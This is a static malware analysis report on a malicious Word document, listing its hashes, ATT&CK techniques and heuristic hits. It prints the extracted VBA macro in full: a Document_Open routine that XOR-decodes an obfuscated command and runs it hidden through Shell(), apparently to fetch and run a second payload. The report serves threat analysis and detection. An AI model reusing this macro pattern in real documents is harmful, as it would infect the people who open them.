Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8dc970c1aeaf7d53…

MALICIOUS

Office (OLE)

492.5 KB Created: 2018-01-29 13:05:00 Authoring application: Microsoft Office Word First seen: 2018-02-07
MD5: 0a253bf970e5239a341bc3583baa34e3 SHA-1: 66a00b4875d0f92288429aacbdcdcec821ad106c SHA-256: 8dc970c1aeaf7d53f4ed9aaecca5f7de962fe1b5d3a2aee2c3b5b656e566a7ca
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1203 Exploitation for Client Execution

The sample contains VBA macros that are automatically executed upon opening the document via the Document_Open subroutine. This macro calls the Shell() function, which is used to execute an external program. The argument to Shell() is obfuscated but appears to be a command string that would likely download and execute a secondary payload. The presence of the Shell() call and the auto-execution macro strongly suggest a malicious intent to compromise the user's system.

Heuristics 5

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1568 bytes
SHA-256: 93ea0243e764c16db1bea9a6b1a34d1bcbd0f02e1017c27ee1ca36a1bdb456c1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
If ActiveDocument.Variables("wTsGQA").Value <> "toto" Then
QhQEBJEHTy
ActiveDocument.Variables("wTsGQA").Value = "toto"
If ActiveDocument.ReadOnly = False Then
ActiveDocument.Save
End If
End If
End Sub


Attribute VB_Name = "FyxUHnt"
Private Function VOFhEcKGwe(YlIKJfSOXI As Variant, YmppTeqSll As Integer)
Dim RLZdCKaIXy, qvPrfbgVbt As String, dtwHXktaSP, QlPLHibtgr
qvPrfbgVbt = ActiveDocument.Variables("wTsGQA").Value()
RLZdCKaIXy = ""
dtwHXktaSP = 1
While dtwHXktaSP < UBound(YlIKJfSOXI) + 2
QlPLHibtgr = dtwHXktaSP Mod Len(qvPrfbgVbt): If QlPLHibtgr = 0 Then QlPLHibtgr = Len(qvPrfbgVbt)
RLZdCKaIXy = RLZdCKaIXy + Chr(Asc(Mid(qvPrfbgVbt, QlPLHibtgr + YmppTeqSll, 1)) Xor CInt(YlIKJfSOXI(dtwHXktaSP - 1)))
dtwHXktaSP = dtwHXktaSP + 1
Wend
VOFhEcKGwe = RLZdCKaIXy
End Function
Public Function QhQEBJEHTy() As Variant
Dim JXv As String
JXv = VOFhEcKGwe(Array(43, 117, 27, 65, 26, 54, 20, 58, 18, 54, 52, 11, 27, 0, 63, 48, 94, 0, 115, 58, 35, _
22, 11, 19, 24, 24, 14, 76, 31, 73, 45, 34, 36, 7, 43, 107, 65, 101, 6, 60, 26, _
87, 9, 28, 23, 39, 57, 84, 37, 33, 31, 77, 31, 88, 3, 92, 81, 29, 32, 45, 88, _
36, 17, 39, 119, 53, 44, 41, 63, 25, 14, 99, 7, 68, 57), 0)
Dim RetVal
RetVal = Shell(JXv, 0)
End Function